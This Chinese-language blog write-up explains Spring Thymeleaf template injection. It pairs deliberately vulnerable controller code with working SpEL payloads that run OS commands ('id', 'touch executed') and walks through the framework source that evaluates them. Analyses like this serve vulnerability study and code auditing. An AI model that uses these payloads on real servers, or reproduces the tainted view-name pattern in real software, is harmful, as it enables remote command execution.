Spring Thymeleaf模版注入

Thymeleaf介绍

Thymeleaf 是一个跟 Velocity、FreeMarker 类似的模板引擎,它可以完全替代 JSP 。相较与其他的模板引擎,它有如下三个极吸引人的特点:

  1. Thymeleaf 在有网络和无网络的环境下皆可运行,即它可以让美工在浏览器查看页面的静态效果,也可以让程序员在服务器查看带数据的动态页面效果。这是由于它支持 html 原型,然后在 html 标签里增加额外的属性来达到模板+数据的展示方式。浏览器解释 html 时会忽略未定义的标签属性,所以 thymeleaf 的模板可以静态地运行;当有数据返回到页面时,Thymeleaf 标签会动态地替换掉静态内容,使页面动态显示。

  2. Thymeleaf 开箱即用的特性。它提供标准和spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改jstl、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。

  3. Thymeleaf 提供spring标准方言和一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。

Thymeleaf模版注入

Spring ThymeleafView会使用表达式解析模版名称,若是将用户输入的参数拼接到模版路径中,可以造成表达式注入。

以下是漏洞案例代码

1
2
3
4
5
6
7
8
9
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}

漏洞复现:

path-request


先来看payload: __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

其中new了一个java.util.Scanner对象,用于读取字符。传入Scanner中的参数为T(java.lang.Runtime).getRuntime().exec("id").getInputStream()

T( )用于访问类作用域的方法和常量,具体可见这里

java.util.Scanner是可以省略的,它在此仅用于回显,无需回显时直接T(java.lang.Runtime).getRuntime().exec("id")执行命令即可。

::在此为必须,不然不会进入表达式解析过程,并且一定得在表达式后面。

.x在此处可忽略(return "user/" + lang + "/welcome";


解析路径的代码在ThymeleafView:277,其中viewTemplateName中一定要包含::,不然不会进入表达式解析过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (!viewTemplateName.contains("::")) {
// No fragment specified at the template name

templateName = viewTemplateName;
markupSelectors = null;

} else {
// Template name contains a fragment name, so we should parse it as such

final IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

final FragmentExpression fragmentExpression;
try {
// By parsing it as a standard expression, we might profit from the expression cache
fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (final TemplateProcessingException e) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}

跟进parser.parseExpression方法,在StandardExpressionParser中对~{viewTemplateName}~进行处理

1
2
final String preprocessedInput =
(preprocess? StandardExpressionPreprocessor.preprocess(context, input) : input);

继续跟进StandardExpressionPreprocessor.preprocess,在StandardExpressionPreprocessor中,使用正则表达式将路径中的表达式提取出来。其中正则规则:\_\_(.*?)\_\_(表示非贪婪匹配两个__之间的内容),匹配得到${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}

debug-preprocess

提取表达式之后就是根据框架进行对应的表达式解析,这里是Spring所以用的就是SpringEL表达式解析。



另一种情况,方法返回类型为void(必须为void),此时才会从URI中获取viewname。这种情况比较隐蔽,代码审计时容易忽略。表达式的解析过程是和上面一模一样。

1
2
3
4
5
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

作者给出的payload: __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

和之前的payload相比,少了java.util.Scanner,直接进行命令执行,无回显。

我在这里试了一下回显的payload,发现报错中没有id的执行结果

doc-request

动态调试分析,原因是Spring分配URI时会自动抹去后缀名,导致缺少了.x,无法正常回显。再加一个.x就能正常回显。若一个.x都不加,payload会被截成__${T(java.lang.Runtime).getRuntime(),导致命令执行失败。

doc-request2

总结

这个漏洞原理很简单,就是Thymeleaf的视图参数可进行表达式解析,若用户输入可控制视图参数,就会导致SpEL注入漏洞产生。

漏洞细节点是payload的构造,需要添加__::引导表达式解析。

参考

https://github.com/veracode-research/spring-view-manipulation

http://itmyhome.com/spring/expressions.html#expressions-types